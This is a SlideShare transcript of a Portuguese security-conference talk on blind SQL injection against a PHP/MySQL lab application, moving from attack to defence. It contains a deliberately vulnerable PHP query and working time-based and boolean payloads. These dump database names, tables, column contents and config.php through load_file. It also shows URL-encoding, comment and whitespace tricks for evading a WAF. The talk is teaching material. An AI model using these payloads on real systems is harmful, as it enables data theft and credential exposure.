SlideShare uma empresa Scribd logo
1 de 45
O MAIOR EVENTO BRASILEIRO DE
HACKING, SEGURANÇA E TECNOLOGIA
Blind SQL Injection
Ameaça Oculta - do Ataque a Defesa
3
• Gerente de Serviços iBLISS
• Professor de Segurança da Informação
• Consultor de TI/SI +11 anos
• ISO/IEC 27001 LA, ISFS, ITIL, Cobit, MCSO e Cisco (5)
• Pesquisador de vulnerabilidades/fraudes (Aplicações Web)
• Algumas palestras:
– Roadsec Natal/BH/SP
– BHACK e H2HC
– Mind the Sec e Cyber Security Meeting
– 5th Infosec Week & Cyber Bootcamp
FLÁVIO K. SHIGA
Agenda
13/11/2015 4
Blind SQL Injection
• Ataque manual
• Métodos de Proteção
• Métodos de Evasão
Framework - Aplicações Web
Imagine um mundo onde...
13/11/2015 5
13/11/2015 6
13/11/2015 7
13/11/2015 8
BLIND SQL INJECTION
ATAQUE MANUAL
913/11/2015
10
MySQL
APP Web - PHP
Cenário
13/11/2015
POST X GET
Envio via GET
http://192.168.100.108/Teste/SLVEDTFAB.php?id=68&FABDSC=FA3&Subm
it=Salvar
1113/11/2015
POST X GET
Envio via POST
http://192.168.100.108/Teste/SLVEDTCLI.php
1213/11/2015
Blind SQL Injection
Aplicação Web PHP
EDTCLI.php
$id2 = $_GET["id"];
Abre_Conexao();
$re = mysql_query("select count(*) as total from CLI where CLICOD = $id2");
$total = mysql_result($re, 0, "total");
if($total == 1)
{
$re = mysql_query("select * from CLI where CLICOD = $id2");
$dados = mysql_fetch_array($re);
}
1313/11/2015
Blind SQL Injection
Time Based X Boolean Based
Time Based
• Baseado em tempo (delay)
• Latência de rede pode impactar a análise
• As ferramentas automatizadas testam diferentes tempos, para garantir que a
aplicação é vulnerável.
Acunetix 9.5
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if
(now()=sysdate(),sleep(6),0))OR"*/
SQLMAP
Boolean Based
• Baseado em resultados verdadeiros e falsos.
• 1+and+if(now()=sysdate(),sleep(6),0)
• 1+and+now()=sysdate()
1413/11/2015
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 15
Blind SQL Injection
Instrução SQL – Time Based
16
Identificando o DATABASE
1+and+if(mid((select+TABLE_SCHEMA+FROM+IN
FORMATION_SCHEMA.COLUMNS+limit+200,1),1,1
)=0x4c,sleep(5),0)
13/11/2015
17
Blind SQL Injection
Instrução SQL – Time Based
13/11/2015
18
Blind SQL Injection
Instrução SQL – Time Based
13/11/2015
19
Blind SQL Injection
Instrução SQL – Time Based
13/11/2015
• 1 and ... X 345 or ...
Obs: Dependendo da quantidade dos registros o uso do
OR pode interferir na resposta
• Utilize o símbolo + onde existir espaço
OBS: O Chrome coloca o símbolo %20 automaticamente
• Utilize valores em hexadecimal (0x...) ao invés de
texto ASCII
20
Blind SQL Injection
Instrução SQL – Observações
13/11/2015
Time Based
1+and+if(mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMN
S+limit+200,1),1,1)=0x4c,sleep(5),0)
Boolean Based
1+and+mid((select+TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+l
imit+200,1),1,1)=0x4c
MySQL
SELECT mid((select TABLE_SCHEMA FROM
INFORMATION_SCHEMA.COLUMNS limit 200,1)
,1,1);
21
Blind SQL Injection
Identificar Database
200,1),1,1)=0x4c -> L
200,1),2,1)=0x41 -> A
200,1),3,1)=0x42 -> B
200,1),4,1)=0x45 -> E
200,1),5,1)=0x4e -> N
200,1),6,1)=0x47 -> G
13/11/2015
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 22
LABENG
Time Based
1+and+if(mid((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.COLUMNS
+where+table_schema=0x4c4142454e47+limit+0,1),1,1)=0x41,sleep(5)
,0)
MySQL
select mid((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS
where table_schema=0x4c4142454e47 limit 0,1), 1,1);
23
Blind SQL Injection
Identificar Tabela
0,1), 1,1) = 0x41 -> A
0,1), 2,1) = 0x54 -> T
0,1), 3,1) = 0x56 -> V
13/11/2015
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 24
LABENG ATV
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 25
LABENG PES*
* Identifiquei outra Tabela
Time Based
1+and+if(mid((SELECT+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS
+where+table_schema=0x4c4142454e47+and+TABLE_NAME=0x504553+limit
+0,1),1,1)=0x50,sleep(5),0)
MySQL
select mid((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
where table_schema=0x4c4142454e47 and TABLE_NAME=0x504553 limit
0,1), 1,1);
26
Blind SQL Injection
Identificar Coluna (Tabela PES)
0,1) 1,1) = 0x50 -> P
0,1) 2,1) = 0x45 -> E
0,1) 3,1) = 0x53 -> S
0,1) 4,1) = 0x43 -> C
0,1) 5,1) = 0x4f -> O
0,1) 6,1) = 0x44 -> D
13/11/2015
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 27
LABENG PES PESCOD
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 28
LABENG PES PESDSC*
* Identifiquei outra Coluna
Time Based
1+and+if(mid((SELECT+PESDSC+from+LABENG.PES+limit+0,1),1,1)=0x61
,sleep(5),0)
MySQL
select mid((SELECT PESDSC from LABENG.PES limit 0,1), 1,1);
29
Blind SQL Injection
Identificar Conteúdo da Tabela
1,1) = 0x61 -> a
2,1) = 0x64 -> d
3,1) = 0x6d -> m
4,1) = 0x69 -> i
5,1) = 0x6e -> n
13/11/2015
Identificar
Database
Identificar
Tabela
Identificar
Colunas
Identificar
Conteúdo
13/11/2015 30
LABENG PES PESCDSC admin
O que mais podemos analisar?
13/11/2015 31
Time Based
1+and+if(mid(load_file(0x2f7661722f7777772f54657374652f636f6e666
9672e706870),75,1)=0x53,sleep(5),0)
MySQL
select
mid(load_file(0x2f7661722f7777772f54657374652f636f6e6669672e7068
70),75,10);
0x2f7661722f7777772f54657374652f636f6e66
69672e706870 = /var/www/Teste/config.php
32
Blind SQL Injection
O que mais podemos analisar?
75,1) = 0x53 -> S
76,1) = 0x45 -> E
77,1) = 0x4e -> N
78,1) = 0x48 -> H
79,1) = 0x41 -> A
13/11/2015
BLIND SQL INJECTION
PROTEÇÃO
3313/11/2015
$id2 = preg_replace('/[^[:alpha:]_]/', '',$_POST[‘id']);
13/11/2015 34
Proteção
Desenv. Seguro (Validação de dados de entrada)
$id2 = $_GET["id"];
Abre_Conexao();
$re = mysql_query("select count(*) as total from CLI where CLICOD = $id2");
$total = mysql_result($re, 0, "total");
if($total == 1)
{
$re = mysql_query("select * from CLI where CLICOD = $id2");
$dados = mysql_fetch_array($re);
}
13/11/2015 35
Proteção
WAF – Web Application Firewall
Estamos seguros agora?
13/11/2015 36
URL Encoded
192.168.1.34 - - [22/Apr/2014:03:35:24 -0300] "GET /Teste/header.swf HTTP/1.1" 2
00 94621
"http://192.168.1.106/Teste/EDTTIPREC.php?id=1%20%61%6e%64%20%6d%69%64%28%28%73%6
5%6c%65%63%74%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%42%45%4e%47.%50%45%53%
20%6c%69%6d%69%74%200%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Window
s NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Saf
ari/537.36"
13/11/2015 37
Métodos de evasão
1%20%61%6e%64%20%6d%69%64%28%28%73%65%6c%65%63%7
4%20%70%65%73%64%73%63%20%66%72%6f%6d%20%4c%41%4
2%45%4e%47.%50%45%53%20%6c%69%6d%69%74%200%2C1%2
9%2C1%2C1%29%3D0x61
%28 (
%29 )
%2C ,
%3D =
%61 a
...
Sequência de Strings (Comentário)
192.168.1.34 - - [22/Apr/2014:04:51:46 -0300] "GET
/Teste/EDTTIPREC.php?id=1%23%0A+--
%0Aand+%23comentario%0Amid%28%28/**/SELECT/**/+/**/PESDSC/**/+/**/FROM/**/+/**/LA
BENG.PES/**/+/**/LIMIT/**/+/**/0%2C1%29%2C1%2C1%29%3D0x61 HTTP/1.1" 200 1844 "-"
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/42.0.2311.135 Safari/537.36"
13/11/2015 38
/**/
--
%23 #
%0a (nova linha)
Métodos de evasão
Técnicas de Espaço
192.168.43.168 - - [22/Apr/2014:00:13:28 -0300] "GET /Teste/header.swf HTTP/1.1"
304 -
"http://192.168.43.79/Teste/EDTTIPREC.php?id=1%0aand%0amid%28%28SELECT%0aPESDSC%0
aFROM%0aLABENG.PES%0aLIMIT%0a0%2C1%29%2C1%2C1%29%3D0x61" "Mozilla/5.0 (Windows NT
6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135
Safari/537.36"
13/11/2015 39
+ (espaço)
%20 (espaço)
%0a (nova linha)
Métodos de evasão
E se misturarmos tudo?
13/11/2015 40
13/11/2015
192.168.43.168 - - [22/Apr/2014:00:30:37 -0300] "GET
/Teste/EDTTIPREC.php?id=1%2F%2A%2A%2F%0a%2F%2A%2A%2F%61%6e%64%2F%2A%2A%2F%0a%6d%69%64
%28%28%73%65%6c%65%63%74%0a%70%65%73%64%73%63%0a%66%72%6f%6d%0a%2F%2A%2A%2F%4c%41%42%
45%4e%47.%50%45%53%2F%2A%2A%2F%0a%2F%2A%2A%2F%6c%69%6d%69%74%2F%2A%2A%2F%0a0%2C1%29%2
C1%2C1%29%3D%2F%2A%2A%2F0x61%2F%2A%2A%2F%2F%2A%2A%2F HTTP/1.1" 200 1823 "-"
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/42.0.2311.135 Safari/537.36"
41
%0a (nova linha)
/**/ %2F%2A%2A%2F
%28 (
%29 )
%2C ,
%3D =
...
1/**/
/**/and/**/
mid((select
pesdsc
FROM
/**/LABENG.PES/**/
/**/LIMIT/**/
0,1),1,1)=/**/0x61/**//**/
Métodos de evasão
13/11/2015 42
Métodos de evasão
Não podemos bloquear o símbolo %
Como garantir a segurança
das informações nas
Aplicações Web?
13/11/2015 43
13/11/2015 44
Framework
Aplicações Web
Desenv.
Seguro
WAF Monitoração
Gestão de
Vulnerabilidades
Obrigado!
Flávio K. Shiga
Flavio.Shiga@ibliss.com.br
https://www.linkedin.com/in/fshiga
www.ibliss.com.br

Mais conteúdo relacionado

Destaque

Observar objetos y fenómenos naturales con distintos puntos
Observar objetos y fenómenos naturales  con distintos puntosObservar objetos y fenómenos naturales  con distintos puntos
Observar objetos y fenómenos naturales con distintos puntos
Alondra Saucedoo
 
James-Dissertation
James-DissertationJames-Dissertation
James-Dissertation
James Strutt
 
El estudio de las bases biológicas de las
El estudio de las bases biológicas de lasEl estudio de las bases biológicas de las
El estudio de las bases biológicas de las
UTPL UTPL
 

Destaque (9)

El metodo silva de control mental
El metodo silva de control mentalEl metodo silva de control mental
El metodo silva de control mental
 
La etica-de-la-computacion-internet-y
La etica-de-la-computacion-internet-yLa etica-de-la-computacion-internet-y
La etica-de-la-computacion-internet-y
 
Observar objetos y fenómenos naturales con distintos puntos
Observar objetos y fenómenos naturales  con distintos puntosObservar objetos y fenómenos naturales  con distintos puntos
Observar objetos y fenómenos naturales con distintos puntos
 
Lo bueno de la ciencia
Lo bueno de la cienciaLo bueno de la ciencia
Lo bueno de la ciencia
 
Preguntas sobre ciencia
Preguntas sobre cienciaPreguntas sobre ciencia
Preguntas sobre ciencia
 
Experimentos
ExperimentosExperimentos
Experimentos
 
James-Dissertation
James-DissertationJames-Dissertation
James-Dissertation
 
El estudio de las bases biológicas de las
El estudio de las bases biológicas de lasEl estudio de las bases biológicas de las
El estudio de las bases biológicas de las
 
Docker Online Meetup #29: Docker Networking is Now GA
Docker Online Meetup #29: Docker Networking is Now GA Docker Online Meetup #29: Docker Networking is Now GA
Docker Online Meetup #29: Docker Networking is Now GA
 

Semelhante a Blind SQL Injection Ameaça Oculta - do Ataque a Defesa

Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
Carlos Nilton Araújo Corrêa
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
Carlos Santos
 

Semelhante a Blind SQL Injection Ameaça Oculta - do Ataque a Defesa (20)

Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Sql injection
Sql injectionSql injection
Sql injection
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
 
Database - Attack & Protect
Database - Attack & ProtectDatabase - Attack & Protect
Database - Attack & Protect
 
Segurança dos seus servidores Linux
Segurança dos seus servidores LinuxSegurança dos seus servidores Linux
Segurança dos seus servidores Linux
 
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - ApresentaçãoDesenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
SQL Server ES - Visão geral sobre segurança
SQL Server ES - Visão geral sobre segurançaSQL Server ES - Visão geral sobre segurança
SQL Server ES - Visão geral sobre segurança
 
Inside SQL Server: Como funciona um banco de dados?
Inside SQL Server: Como funciona um banco de dados?Inside SQL Server: Como funciona um banco de dados?
Inside SQL Server: Como funciona um banco de dados?
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Pdo do PHP Palestra
Pdo do PHP PalestraPdo do PHP Palestra
Pdo do PHP Palestra
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 

Blind SQL Injection Ameaça Oculta - do Ataque a Defesa